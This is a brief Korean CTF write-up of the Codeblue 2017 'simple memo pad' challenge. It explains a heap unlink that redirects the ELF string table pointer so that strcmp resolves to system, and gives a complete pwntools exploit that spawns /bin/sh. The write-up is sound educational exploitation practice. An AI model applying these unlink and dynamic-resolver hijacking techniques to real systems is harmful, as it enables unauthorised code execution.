Pwnable/CTF
Codeblue 2017 simple memo pad
HSr00t
2018. 1. 17. 23:21
return to dl-resolve 기법 공부를 다 하지 않고 풀어버렷다 ..
대충 원리정도만 공부를 하고 find 명령어로 strtab주소를 가지고있는곳을 찾고
그곳에 delete구문중 unlink가 있으니 delete를 이용하여서 strtab을 부르고있는? 주소인 0x601858에 2번째 청크 주소를 넣고
1
2
3
4
5
6
LOAD:0000000000400418 ; ELF String Table
LOAD:0000000000400418 byte_400418 db 0 ; DATA XREF: LOAD:0000000000400298↑o
LOAD:0000000000400418 ; LOAD:00000000004002B0↑o ...
LOAD:000000000040047B aStrcmp db 'strcmp',0 ; DATA XREF: LOAD:0000000000400370↑o
cs위에서 0x40047b - 0x400418를 빼면 0x63이 나온다. 우리가 넣는 데이터는 struct + 0x10 부터이니 0x63 - 0x10을 뺀 0x53만큼 더미값을 넣고 system을 넣으면 strcmp가 호출되야될때 system이 호출될것이다.
마지막 quit를 했을때 strcmp(내가 입력한 값,'y')로 함수를 호출하기때문에 system으로 변조하기 좋다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | from pwn import * p=process("./simple_memo_pad") elf=ELF("./simple_memo_pad") def write(content): p.recvuntil('> ') p.sendline("1") p.recvuntil(': ') p.sendline(content) def edit(idx,content): p.recvuntil('> ') p.sendline("2") p.recvuntil(': ') p.sendline(str(idx)) p.recvuntil(': ') p.sendline(content) def delete(idx): p.recvuntil('> ') p.sendline("3") p.recvuntil(': ') p.sendline(str(idx)) write("A"*0x53+"system\x00") write("B"*128) write("C"*128) edit(3,"a"*128+p64(0x601858-152)) delete(3) p.recv(1024) p.sendline("5") p.recvuntil(':') p.sendline("/bin/sh") p.interactive() | cs |